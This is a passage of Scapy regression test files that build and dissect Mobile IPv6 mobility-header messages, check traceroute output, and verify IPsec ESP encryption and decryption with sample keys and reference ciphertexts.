\\x01\\r\\xb8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x02;\\x00\\x00\\x00h\\xfb\\x00\\x00'\n\n= MIP6MH_BRR - Build with specific values\nraw(IPv6(src=\"2001:db8::1\", dst=\"2001:db8::2\")/MIP6MH_BRR(nh=0xff, res=0xee, res2=0xaaaa, options=[MIP6OptLLAddr(), MIP6OptAltCoA()])) == b'`\\x00\\x00\\x00\\x00(\\x87@ \\x01\\r\\xb8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x01 \\x01\\r\\xb8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x02\\xff\\x04\\x00\\xee\\xec$\\xaa\\xaa\\x07\\x07\\x02\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x01\\x02\\x00\\x00\\x03\\x10\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'\n\n= MIP6MH_BRR - Basic dissection\na=IPv6(b'`\\x00\\x00\\x00\\x00\\x08\\x87@ \\x01\\r\\xb8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x01 \\x01\\r\\xb8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x02;\\x00\\x00\\x00h\\xfb\\x00\\x00')\nb=a.payload\na.nh == 135 and isinstance(b, MIP6MH_BRR) and b.nh == 59 and b.len == 0 and b.mhtype == 0 and b.res == 0 and b.cksum == 0x68fb and b.res2 == 0 and b.options == []\n\n= MIP6MH_BRR - Dissection with specific values\na=IPv6(b'`\\x00\\x00\\x00\\x00(\\x87@ \\x01\\r\\xb8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x01 \\x01\\r\\xb8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x02\\xff\\x04\\x00\\xee\\xec$\\xaa\\xaa\\x07\\x07\\x02\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x01\\x02\\x00\\x00\\x03\\x10\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00')\nb=a.payload\na.nh == 135 and isinstance(b, MIP6MH_BRR) and b.nh == 0xff and b.len == 4 and b.mhtype == 0 and b.res == 238 and b.cksum == 0xec24 and b.res2 == 43690 and len(b.options) == 3 and isinstance(b.options[0], MIP6OptLLAddr) and isinstance(b.options[1], PadN) and isinstance(b.options[2], MIP6OptAltCoA)\n\n= MIP6MH_BRR / MIP6MH_BU / MIP6MH_BA hashret() and answers()\nhoa=\"2001:db8:9999::1\"\ncoa=\"2001:db8:7777::1\"\ncn=\"2001:db8:8888::1\"\nha=\"2001db8:6666::1\"\na=IPv6(raw(IPv6(src=cn, dst=hoa)/MIP6MH_BRR()))\nb=IPv6(raw(IPv6(src=coa, dst=cn)/IPv6ExtHdrDestOpt(options=HAO(hoa=hoa))/MIP6MH_BU(flags=0x01)))\nb2=IPv6(raw(IPv6(src=coa, dst=cn)/IPv6ExtHdrDestOpt(options=HAO(hoa=hoa))/MIP6MH_BU(flags=~0x01)))\nc=IPv6(raw(IPv6(src=cn, dst=coa)/IPv6ExtHdrRouting(type=2, addresses=[hoa])/MIP6MH_BA()))\nb.answers(a) and not a.answers(b) and c.answers(b) and not b.answers(c) and not c.answers(b2)\n\nlen(b[IPv6ExtHdrDestOpt].options) == 2\n\n\n############\n############\n+ Home Test Init Message\n\n= MIP6MH_HoTI - Build (default values)\nraw(IPv6(src=\"2001:db8::1\", dst=\"2001:db8::2\")/MIP6MH_HoTI()) == b'`\\x00\\x00\\x00\\x00\\x10\\x87@ \\x01\\r\\xb8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x01 \\x01\\r\\xb8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x02;\\x01\\x01\\x00g\\xf2\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'\n\n= MIP6MH_HoTI - Dissection (default values)\na=IPv6(b'`\\x00\\x00\\x00\\x00\\x10\\x87@ \\x01\\r\\xb8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x01 \\x01\\r\\xb8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x02;\\x01\\x01\\x00g\\xf2\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00')\nb = a.payload\na.nh == 135 and isinstance(b, MIP6MH_HoTI) and b.nh==59 and b.mhtype == 1 and b.len== 1 and b.res == 0 and b.cksum == 0x67f2 and b.cookie == b'\\x00'*8\n\n\n= MIP6MH_HoTI - Build (specific values)\nraw(IPv6(src=\"2001:db8::1\", dst=\"2001:db8::2\")/MIP6MH_HoTI(res=0x77, cksum=0x8899, cookie=b\"\\xAA\"*8)) == b'`\\x00\\x00\\x00\\x00\\x10\\x87@ \\x01\\r\\xb8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x01 \\x01\\r\\xb8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x02;\\x01\\x01w\\x88\\x99\\x00\\x00\\xaa\\xaa\\xaa\\xaa\\xaa\\xaa\\xaa\\xaa'\n\n= MIP6MH_HoTI - Dissection (specific values)\na=IPv6(b'`\\x00\\x00\\x00\\x00\\x10\\x87@ \\x01\\r\\xb8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x01 \\x01\\r\\xb8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x02;\\x01\\x01w\\x88\\x99\\x00\\x00\\xaa\\xaa\\xaa\\xaa\\xaa\\xaa\\xaa\\xaa')\nb=a.payload\na.nh == 135 and isinstance(b, MIP6MH_HoTI) and b.nh==59 and b.mhtype == 1 and b.len == 1 and b.res == 0x77 and b.cksum == 0x8899 and b.cookie == b'\\xAA'*8\n\n\n############\n############\n+ Care-of Test Init Message\n\n= MIP6MH_CoTI - Build (default values)\nraw(IPv6(src=\"2001:db8::1\", dst=\"2001:db8::2\")/MIP6MH_CoTI()) == b'`\\x00\\x00\\x00\\x00\\x10\\x87@ \\x01\\r\\xb8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x01 \\x01\\r\\xb8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x02;\\x01\\x02\\x00f\\xf2\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'\n\n= MIP6MH_CoTI - Dissection (default values)\na=IPv6(b'`\\x00\\x00\\x00\\x00\\x10\\x87@ \\x01\\r\\xb8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x01 \\x01\\r\\xb8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x02;\\x01\\x02\\x00f\\xf2\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00')\nb = a.payload\na.nh == 135 and isinstance(b, MIP6MH_CoTI) and b.nh==59 and b.mhtype == 2 and b.len== 1 and b.res == 0 and b.cksum == 0x66f2 and b.cookie == b'\\x00'*8\n\n= MIP6MH_CoTI - Build (specific values)\nraw(IPv6(src=\"2001:db8::1\", dst=\"2001:db8::2\")/MIP6MH_CoTI(res=0x77, cksum=0x8899, cookie=b\"\\xAA\"*8)) == b'`\\x00\\x00\\x00\\x00\\x10\\x87@ \\x01\\r\\xb8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x01 \\x01\\r\\xb8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x02;\\x01\\x02w\\x88\\x99\\x00\\x00\\xaa\\xaa\\xaa\\xaa\\xaa\\xaa\\xaa\\xaa'\n\n= MIP6MH_CoTI - Dissection (specific values)\na=IPv6(b'`\\x00\\x00\\x00\\x00\\x10\\x87@ \\x01\\r\\xb8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x01 \\x01\\r\\xb8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x02;\\x01\\x02w\\x88\\x99\\x00\\x00\\xaa\\xaa\\xaa\\xaa\\xaa\\xaa\\xaa\\xaa')\nb=a.payload\na.nh == 135 and isinstance(b, MIP6MH_CoTI) and b.nh==59 and b.mhtype == 2 and b.len == 1 and b.res == 0x77 and b.cksum == 0x8899 and b.cookie == b'\\xAA'*8\n\n\n############\n############\n+ Home Test Message\n\n= MIP6MH_HoT - Build (default values)\nraw(IPv6(src=\"2001:db8::1\", dst=\"2001:db8::2\")/MIP6MH_HoT()) == b'`\\x00\\x00\\x00\\x00\\x18\\x87@ \\x01\\r\\xb8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x01 \\x01\\r\\xb8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x02;\\x02\\x03\\x00e\\xe9\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'\n\n= MIP6MH_HoT - Dissection (default values)\na=IPv6(b'`\\x00\\x00\\x00\\x00\\x18\\x87@ \\x01\\r\\xb8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x01 \\x01\\r\\xb8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x02;\\x02\\x03\\x00e\\xe9\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00')\nb = a.payload\na.nh == 135 and isinstance(b, MIP6MH_HoT) and b.nh==59 and b.mhtype == 3 and b.len== 2 and b.res == 0 and b.cksum == 0x65e9 and b.index == 0 and b.cookie == b'\\x00'*8 and b.token == b'\\x00'*8\n\n= MIP6MH_HoT - Build (specific values)\nraw(IPv6(src=\"2001:db8::1\", dst=\"2001:db8::2\")/MIP6MH_HoT(res=0x77, cksum=0x8899, cookie=b\"\\xAA\"*8, index=0xAABB, token=b'\\xCC'*8)) == b'`\\x00\\x00\\x00\\x00\\x18\\x87@ \\x01\\r\\xb8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x01 \\x01\\r\\xb8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x02;\\x02\\x03w\\x88\\x99\\xaa\\xbb\\xaa\\xaa\\xaa\\xaa\\xaa\\xaa\\xaa\\xaa\\xcc\\xcc\\xcc\\xcc\\xcc\\xcc\\xcc\\xcc'\n\n= MIP6MH_HoT - Dissection (specific values)\na=IPv6(b'`\\x00\\x00\\x00\\x00\\x18\\x87@ \\x01\\r\\xb8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x01 \\x01\\r\\xb8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x02;\\x02\\x03w\\x88\\x99\\xaa\\xbb\\xaa\\xaa\\xaa\\xaa\\xaa\\xaa\\xaa\\xaa\\xcc\\xcc\\xcc\\xcc\\xcc\\xcc\\xcc\\xcc')\nb = a.payload\na.nh == 135 and isinstance(b, MIP6MH_HoT) and b.nh==59 and b.mhtype == 3 and b.len== 2 and b.res == 0x77 and b.cksum == 0x8899 and b.index == 0xAABB and b.cookie == b'\\xAA'*8 and b.token == b'\\xCC'*8\n\n= MIP6MH_HoT answers\na1, a2 = \"2001:db8::1\", \"2001:db8::2\"\ncookie = RandString(8)._fix()\np1 = IPv6(src=a1, dst=a2)/MIP6MH_HoTI(cookie=cookie)\np2 = IPv6(src=a2, dst=a1)/MIP6MH_HoT(cookie=cookie)\np2_ko = IPv6(src=a2, dst=a1)/MIP6MH_HoT(cookie=\"\".join(chr((orb(b'\\xff') + 1) % 256)))\nassert p1.hashret() == p2.hashret() and p2.answers(p1) and not p1.answers(p2)\nassert p1.hashret() != p2_ko.hashret() and not p2_ko.answers(p1) and not p1.answers(p2_ko)\n\n\n############\n############\n+ Care-of Test Message\n\n= MIP6MH_CoT - Build (default values)\nraw(IPv6(src=\"2001:db8::1\", dst=\"2001:db8::2\")/MIP6MH_CoT()) == b'`\\x00\\x00\\x00\\x00\\x18\\x87@ \\x01\\r\\xb8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x01 \\x01\\r\\xb8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x02;\\x02\\x04\\x00d\\xe9\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'\n\n= MIP6MH_CoT - Dissection (default values)\na=IPv6(b'`\\x00\\x00\\x00\\x00\\x18\\x87@ \\x01\\r\\xb8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x01 \\x01\\r\\xb8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x02;\\x02\\x04\\x00d\\xe9\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00')\nb = a.payload\na.nh == 135 and isinstance(b, MIP6MH_HoT) and b.nh==59 and b.mhtype == 4 and b.len== 2 and b.res == 0 and b.cksum == 0x64e9 and b.index == 0 and b.cookie == b'\\x00'*8 and b.token == b'\\x00'*8\n\n= MIP6MH_CoT - Build (specific values)\nraw(IPv6(src=\"2001:db8::1\", dst=\"2001:db8::2\")/MIP6MH_CoT(res=0x77, cksum=0x8899, cookie=b\"\\xAA\"*8, index=0xAABB, token=b'\\xCC'*8)) == b'`\\x00\\x00\\x00\\x00\\x18\\x87@ \\x01\\r\\xb8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x01 \\x01\\r\\xb8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x02;\\x02\\x04w\\x88\\x99\\xaa\\xbb\\xaa\\xaa\\xaa\\xaa\\xaa\\xaa\\xaa\\xaa\\xcc\\xcc\\xcc\\xcc\\xcc\\xcc\\xcc\\xcc'\n\n= MIP6MH_CoT - Dissection (specific values)\na=IPv6(b'`\\x00\\x00\\x00\\x00\\x18\\x87@ \\x01\\r\\xb8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x01 \\x01\\r\\xb8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x02;\\x02\\x04w\\x88\\x99\\xaa\\xbb\\xaa\\xaa\\xaa\\xaa\\xaa\\xaa\\xaa\\xaa\\xcc\\xcc\\xcc\\xcc\\xcc\\xcc\\xcc\\xcc')\nb = a.payload\na.nh == 135 and isinstance(b, MIP6MH_CoT) and b.nh==59 and b.mhtype == 4 and b.len== 2 and b.res == 0x77 and b.cksum == 0x8899 and b.index == 0xAABB and b.cookie == b'\\xAA'*8 and b.token == b'\\xCC'*8\n\n\n############\n############\n+ Binding Update Message\n\n= MIP6MH_BU - build (default values)\ns= b'`\\x00\\x00\\x00\\x00(<@\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x01\\x87\\x02\\x01\\x02\\x00\\x00\\xc9\\x10\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00;\\x01\\x05\\x00\\xee`\\x00\\x00\\xd0\\x00\\x00\\x03\\x01\\x02\\x00\\x00'\nraw(IPv6()/IPv6ExtHdrDestOpt(options=[HAO()])/MIP6MH_BU()) == s\n\n= MIP6MH_BU - dissection (default values)\np = IPv6(s)\np[MIP6MH_BU].len == 1\n\n= MIP6MH_BU - build\ns = b'`\\x00\\x00\\x00\\x00P<@\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x01\\x87\\x02\\x01\\x02\\x00\\x00\\xc9\\x10 \\x01\\r\\xb8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\xca\\xfe;\\x06\\x05\\x00\\xea\\xf2\\x00\\x00\\xd0\\x00\\x00*\\x01\\x00\\x03\\x10\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x01\\x02\\x00\\x00\\x06\\x12\\x00@\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'\nraw(IPv6()/IPv6ExtHdrDestOpt(options=[HAO(hoa='2001:db8::cafe')])/MIP6MH_BU(mhtime=42, options=[MIP6OptAltCoA(),MIP6OptMobNetPrefix()])) == s\n\n= MIP6MH_BU - dissection\np = IPv6(s)\np[MIP6MH_BU].cksum == 0xeaf2 and p[MIP6MH_BU].len == 6 and len(p[MIP6MH_BU].options) == 4 and p[MIP6MH_BU].mhtime == 42\n\n\n############\n############\n+ Binding ACK Message\n\n=  MIP6MH_BA - build\ns = b'`\\x00\\x00\\x00\\x00\\x10\\x87@\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x01;\\x01\\x06\\x00\\xbc\\xb9\\x00\\x80\\x00\\x00\\x00*\\x01\\x02\\x00\\x00'\nraw(IPv6()/MIP6MH_BA(mhtime=42)) == s\n\n=  MIP6MH_BA - dissection\np = IPv6(s)\np[MIP6MH_BA].cksum == 0xbcb9 and p[MIP6MH_BA].len == 1 and len(p[MIP6MH_BA].options) == 1 and p[MIP6MH_BA].mhtime == 42\n\n\n############\n############\n+ Binding ERR Message\n\n=  MIP6MH_BE - build\ns = b'`\\x00\\x00\\x00\\x00\\x18\\x87@\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x01;\\x02\\x07\\x00\\xbbY\\x02\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x02'\nraw(IPv6()/MIP6MH_BE(status=2, ha='1::2')) == s\n\n=  MIP6MH_BE - dissection\np = IPv6(s)\np[MIP6MH_BE].cksum=0xba10 and p[MIP6MH_BE].len == 1 and len(p[MIP6MH_BE].options) == 1\n\n\n############\n############\n+ TracerouteResult6\n\n= get_trace()\nip6_hlim = [(\"2001:db8::%d\" % i, i) for i in range(1, 12)]\n\ntr6_packets = [ (IPv6(dst=\"2001:db8::1\", src=\"2001:db8::254\", hlim=hlim)/UDP()/\"scapy\",\n                 IPv6(dst=\"2001:db8::254\", src=ip)/ICMPv6TimeExceeded()/IPerror6(dst=\"2001:db8::1\", src=\"2001:db8::254\", hlim=0)/UDPerror()/\"scapy\")\n                   for (ip, hlim) in ip6_hlim ]\n\ntr6 = TracerouteResult6(tr6_packets)\ntr6.get_trace() == {'2001:db8::1': {1: ('2001:db8::1', False), 2: ('2001:db8::2', False), 3: ('2001:db8::3', False), 4: ('2001:db8::4', False), 5: ('2001:db8::5', False), 6: ('2001:db8::6', False), 7: ('2001:db8::7', False), 8: ('2001:db8::8', False), 9: ('2001:db8::9', False), 10: ('2001:db8::10', False), 11: ('2001:db8::11', False)}}\n\n= show()\ndef test_show():\n    with ContextManagerCaptureOutput() as cmco:\n        tr6 = TracerouteResult6(tr6_packets)\n        tr6.show()\n        result = cmco.get_output()\n    expected = \"  2001:db8::1                               :udpdomain \\n\"\n    expected += \"1  2001:db8::1                                3         \\n\"\n    expected += \"2  2001:db8::2                                3         \\n\"\n    expected += \"3  2001:db8::3                                3         \\n\"\n    expected += \"4  2001:db8::4                                3         \\n\"\n    expected += \"5  2001:db8::5                                3         \\n\"\n    expected += \"6  2001:db8::6                                3         \\n\"\n    expected += \"7  2001:db8::7                                3         \\n\"\n    expected += \"8  2001:db8::8                                3         \\n\"\n    expected += \"9  2001:db8::9                                3         \\n\"\n    expected += \"10 2001:db8::10                               3         \\n\"\n    expected += \"11 2001:db8::11                               3         \\n\"\n    index_result = result.index(\"\\n1\")\n    index_expected = expected.index(\"\\n1\")\n    assert result[index_result:] == expected[index_expected:]\n\ntest_show()\n\n= graph()\nsaved_AS_resolver = conf.AS_resolver\nconf.AS_resolver = None\ntr6.make_graph()\nassert len(tr6.graphdef) == 530\nassert tr6.graphdef.startswith(\"digraph trace {\")\n'\"2001:db8::1 53/udp\";' in tr6.graphdef\nconf.AS_resolver = saved_AS_resolver \n"
  },
  {
    "path": "test/scapy/layers/ipsec.uts",
    "content": "##############################\n% IPsec layer regression tests\n##############################\n\n~ crypto\n\n###############################################################################\n+ IPv4 / ESP - Transport - Encryption Algorithms\n\n#######################################\n= IPv4 / ESP - Transport - NULL - NULL\n~ -crypto\n\nimport socket\n\np = IP(src='1.1.1.1', dst='2.2.2.2')\np /= TCP(sport=45012, dport=80)\np /= Raw('testdata')\np = IP(raw(p))\np\n\nsa = SecurityAssociation(ESP, spi=0x222,\n                         crypt_algo='NULL', crypt_key=None,\n                         auth_algo='NULL', auth_key=None)\n\ne = sa.encrypt(p)\ne\n\nassert isinstance(e, IP)\nassert e.src == '1.1.1.1' and e.dst == '2.2.2.2'\nassert e.chksum != p.chksum\nassert e.proto == socket.IPPROTO_ESP\nassert e.haslayer(ESP)\nassert not e.haslayer(TCP)\nassert e[ESP].spi == sa.spi\nassert b'testdata' in e[ESP].data\n\nd = sa.decrypt(e)\nd\n\n* after decryption the original packet payload should be unaltered\nassert d[TCP] == p[TCP]\n\n#######################################\n= IPv4 / ESP - Transport - DES - NULL\n\np = IP(src='1.1.1.1', dst='2.2.2.2')\np /= TCP(sport=45012, dport=80)\np /= Raw('testdata')\np = IP(raw(p))\np\n\nsa = SecurityAssociation(ESP, spi=0x222,\n                         crypt_algo='DES', crypt_key=b'8bytekey',\n                         auth_algo='NULL', auth_key=None)\n\ne = sa.encrypt(p)\ne\n\nassert isinstance(e, IP)\nassert e.src == '1.1.1.1' and e.dst == '2.2.2.2'\nassert e.chksum != p.chksum\n* the encrypted packet should have an ESP layer\nassert e.proto == socket.IPPROTO_ESP\nassert e.haslayer(ESP)\nassert not e.haslayer(TCP)\nassert e[ESP].spi == sa.spi\n* after encryption the original packet payload should NOT be readable\nassert b'testdata' not in e[ESP].data\n\nd = sa.decrypt(e)\nd\n\n* after decryption the original packet payload should be unaltered\nassert d[TCP] == p[TCP]\n\n# Generated with Linux 4.4.0-62-generic #83-Ubuntu\n# ip xfrm state add src 10.125.0.2 dst 10.125.0.1 proto esp spi 546 reqid 1 \\\n#    mode tunnel enc 'cbc(des)' '0x38627974656b6579' auth digest_null '' flag align4\nref = IP() \\\n    / ESP(spi=0x222,\n          data=b'\\x0f\\x6d\\x2f\\x3d\\x1e\\xc1\\x0b\\xc2\\xb6\\x8f\\xfd\\x67\\x39\\xc0\\x96\\x2c'\n               b'\\x17\\x79\\x88\\xf6\\xbc\\x4d\\xf7\\x45\\xd8\\x36\\x63\\x86\\xcd\\x08\\x7c\\x08'\n               b'\\x2b\\xf8\\xa2\\x91\\x18\\x21\\x88\\xd9\\x26\\x00\\xc5\\x21\\x24\\xbf\\x8f\\xf5'\n               b'\\x6c\\x47\\xb0\\x3a\\x8e\\xdb\\x75\\x21\\xd9\\x33\\x85\\x5a\\x15\\xc6\\x31\\x00'\n               b'\\x1c\\xef\\x3e\\x12\\xce\\x70\\xec\\x8f\\x48\\xc7\\x81\\x9b\\x66\\xcb\\xf5\\x39'\n               b'\\x91\\xb3\\x8e\\x72\\xfb\\x7f\\x64\\x65\\x6c\\xf4\\xa9\\xf2\\x5e\\x63\\x2f\\x60',\n          seq=1)\n\nd_ref = sa.decrypt(ref)\nd_ref\n\n* Check for ICMP layer in decrypted reference\nassert d_ref.haslayer(ICMP)\n\n#######################################\n= IPv4 / ESP - Transport - 3DES - NULL\n\np = IP(src='1.1.1.1', dst='2.2.2.2')\np /= TCP(sport=45012, dport=80)\np /= Raw('testdata')\np = IP(raw(p))\np\n\nsa = SecurityAssociation(ESP, spi=0x222,\n                         crypt_algo='3DES', crypt_key=b'threedifferent8byteskeys',\n                         auth_algo='NULL', auth_key=None)\n\ne = sa.encrypt(p)\ne\n\nassert isinstance(e, IP)\nassert e.src == '1.1.1.1' and e.dst == '2.2.2.2'\nassert e.chksum != p.chksum\n* the encrypted packet should have an ESP layer\nassert e.proto == socket.IPPROTO_ESP\nassert e.haslayer(ESP)\nassert not e.haslayer(TCP)\nassert e[ESP].spi == sa.spi\n* after encryption the original packet payload should NOT be readable\nassert b'testdata' not in e[ESP].data\n\nd = sa.decrypt(e)\nd\n\n* after decryption the original packet payload should be unaltered\nassert d[TCP] == p[TCP]\n\n# Generated with Linux 4.4.0-62-generic #83-Ubuntu\n# ip xfrm state add src 10.125.0.2 dst 10.125.0.1 proto esp spi 546 reqid 1 \\\n#   mode tunnel enc 'cbc(des3_ede)' '0x7468726565646966666572656e743862797465736b657973' auth digest_null '' flag align4\nref = IP() \\\n    / ESP(spi=0x222,\n          data=b'\\x36\\x5c\\x9b\\x41\\x37\\xc8\\x59\\x1e\\x39\\x63\\xe8\\x6b\\xf7\\x0d\\x97\\x54'\n               b'\\x13\\x84\\xf6\\x81\\x66\\x19\\xe7\\xcb\\x75\\x94\\xf1\\x0b\\x8e\\xa3\\xf1\\xa0'\n               b'\\x3e\\x88\\x51\\xc4\\x50\\xd0\\xa9\\x1f\\x16\\x25\\xc6\\xbd\\xe9\\x0b\\xdc\\xae'\n               b'\\xf8\\x13\\x00\\xa3\\x8c\\x53\\xee\\x1c\\x96\\xc0\\xfe\\x99\\x70\\xab\\x94\\x77'\n               b'\\xd7\\xc4\\xe8\\xfd\\x9f\\x96\\x28\\xb8\\x95\\x20\\x86\\x7b\\x19\\xbc\\x8f\\xf5'\n               b'\\x96\\xb0\\x7e\\xcc\\x04\\x83\\xae\\x4d\\xa3\\xba\\x1d\\x44\\xf0\\xba\\x2e\\xcd',\n          seq=1)\n\nd_ref = sa.decrypt(ref)\nd_ref\n\n* Check for ICMP layer in decrypted reference\nassert d_ref.haslayer(ICMP)\n\n#######################################\n= IPv4 / ESP - Transport - AES-CBC - NULL\n\np = IP(src='1.1.1.1', dst='2.2.2.2')\np /= TCP(sport=45012, dport=80)\np /= Raw('testdata')\np = IP(raw(p))\np\n\nsa = SecurityAssociation(ESP, spi=0x222,\n                         crypt_algo='AES-CBC', crypt_key=b'sixteenbytes key',\n                         auth_algo='NULL', auth_key=None)\n\ne = sa.encrypt(p)\ne\n\nassert isinstance(e, IP)\nassert e.src == '1.1.1.1' and e.dst == '2.2.2.2'\nassert e.chksum != p.chksum\nassert e.proto == socket.IPPROTO_ESP\nassert e.haslayer(ESP)\nassert not e.haslayer(TCP)\nassert e[ESP].spi == sa.spi\n* after encryption the original packet payload should NOT be readable\nassert b'testdata' not in e[ESP].data\n\nd = sa.decrypt(e)\nd\n\n* after decryption the original packet payload should be unaltered\nassert d[TCP] == p[TCP]\n\n# Generated with Linux 4.4.0-62-generic #83-Ubuntu\n# ip xfrm state add src 10.125.0.2 dst 10.125.0.1 proto esp spi 546 reqid 1 \\\n#   mode tunnel enc 'cbc(aes)' '0x7369787465656e6279746573206b6579' auth digest_null '' flag align4\nref = IP() \\\n    / ESP(spi=0x222,\n          data=b'\\x08\\x2f\\x94\\xe6\\x53\\xd8\\x8e\\x13\\x70\\xe8\\xff\\x61\\x52\\x90\\x27\\x3c'\n               b'\\xf2\\xb4\\x1f\\x75\\xd2\\xa0\\xac\\xae\\x1c\\xa8\\x5e\\x1c\\x78\\x21\\x4c\\x7f'\n               b'\\xc3\\x30\\x17\\x6a\\x8d\\xf3\\xb1\\xa7\\xd1\\xa8\\x42\\x01\\xd6\\x8d\\x2d\\x7e'\n               b'\\x5d\\x06\\xdf\\xaa\\x05\\x27\\x42\\xb1\\x00\\x12\\xcf\\xff\\x64\\x02\\x5a\\x40'\n               b'\\xcd\\xca\\x1b\\x91\\xba\\xf8\\xc8\\x59\\xe7\\xbd\\x4d\\x19\\xb4\\x8d\\x39\\x25'\n               b'\\x6c\\x73\\xf1\\x2d\\xaa\\xee\\xe1\\x0b\\x71\\xcd\\xfc\\x11\\x1d\\x56\\xce\\x60'\n               b'\\xed\\xd2\\x32\\x87\\xd4\\x90\\xc3\\xf5\\x31\\x47\\x97\\x69\\x83\\x82\\x6d\\x38',\n          seq=1)\n\nd_ref = sa.decrypt(ref)\nd_ref\n\n* Check for ICMP layer in decrypted reference\nassert d_ref.haslayer(ICMP)\n\n#######################################\n= IPv4 / ESP - Transport - 